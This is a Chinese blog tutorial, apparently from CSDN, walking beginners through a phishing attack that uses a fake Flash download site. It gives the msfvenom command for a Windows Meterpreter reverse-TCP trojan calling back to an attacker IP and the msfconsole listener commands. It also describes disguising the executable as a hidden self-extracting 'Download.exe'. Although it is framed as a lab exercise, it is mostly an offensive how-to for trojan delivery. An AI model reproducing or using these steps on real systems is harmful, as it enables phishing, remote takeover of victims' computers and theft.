xss——flash钓鱼（kali MSF捆绑钓鱼）超详细！小白也可以！

最新推荐文章于 2024-07-23 22:58:33 发布

A 八方

最新推荐文章于 2024-07-23 22:58:33 发布

阅读量1.5k

点赞数 34

文章标签： xss linux 网络安全

本文链接：https://blog.csdn.net/qq_48368964/article/details/140645113

版权

主要环境准备：

整体思路：

详细步骤：

1.在kali中利用MSF生成一个PayLoad

2.kali中开启监听

3.伪装木马

（1）两个⽂件⼀块压缩并更改⽂件名为"Download.exe"，点击"⾼级"标签⻚下的"⾃解压选项"填写解压路径为 C:\Windows\Temp

（2）点击"设置"--"解压后运⾏"如下两⾏内容...并在"模式"标签下设置"全部隐藏"...

（3）配置更新⽅式----》解压并更新⽂件⽽覆盖⽅式----覆盖所有⽂件！！

4.搭建flash的网站并修改其下载文件

5.去搭建的网站下载我们的木马并运行

主要环境准备：

kali系统虚拟机（攻击者监听设备、制作木马），Win10物理机（受害者目标主机），winrar压缩软件（用于伪装木马）,phpstudy(搭建模拟钓鱼网站)

整体思路：

详细步骤：

1.在kali中利用MSF生成一个PayLoad

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.252.129 LPORT=44
44 -f exe > shell.exe
//192.168.252.129 是你kali监听设备的ip地址 端口我选择的4444

msfvenom: 这是Metasploit框架中的一个工具，用于生成各种类型的payloads。

-p: 这个选项用来指定payload类型。在这里，payload类型为windows/x64/meterpreter/reverse_tcp，表示生成的是针对x64架构的Windows系统、使用Meterpreter功能的、通过反向TCP连接回连到攻击者的payload。

LHOST=192.168.252.129: 这个参数指定了监听主机的IP地址，payload生成的shellcode将回连到这个IP地址。

LPORT=4444: 这个参数指定了监听端口，payload生成的shellcode将尝试在这个端口上建立连接。

-f exe: 这个参数指定了输出格式，这里设置为exe，意味着生成的payload将是一个Windows可执行文件。

>shell.exe: 这表示输出文件名，msfvenom生成的payload将被保存为名为shell.exe的文件。

运行完会在当前目录下生成一个shell.exe 文件然后将其拖到你的物理机上进行后续的伪装捆绑

2.kali中开启监听

上一步我们生成了一个可执行木马现在我们要在kali 中开启该木马的监听

在kali 中依次输入以下语句

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.252.129
set lport 4444
run

msfconsole: 这是启动Metasploit控制台的命令，从这里你可以执行各种渗透测试和安全评估任务。

use exploit/multi/handler: 这条命令选择了exploit/multi/handler模块，这是一个通用的监听器模块，可以用来接收任何类型的payload发送的连接请求。

set payload windows/x64/meterpreter/reverse_tcp: 这里设置了payload类型为windows/x64/meterpreter/reverse_tcp，这意味着你期望接收到由这种类型payload生成的连接。

set lhost 192.168.252.129: 设置监听的IP地址为192.168.252.129，这是你的机器或服务器的本地IP地址，payload将回连到这个地址。

set lport 4444: 设置监听的端口号为4444，payload将尝试在这个端口上建立连接。

run: 最后运行这个配置好的监听器，开始等待payload的连接。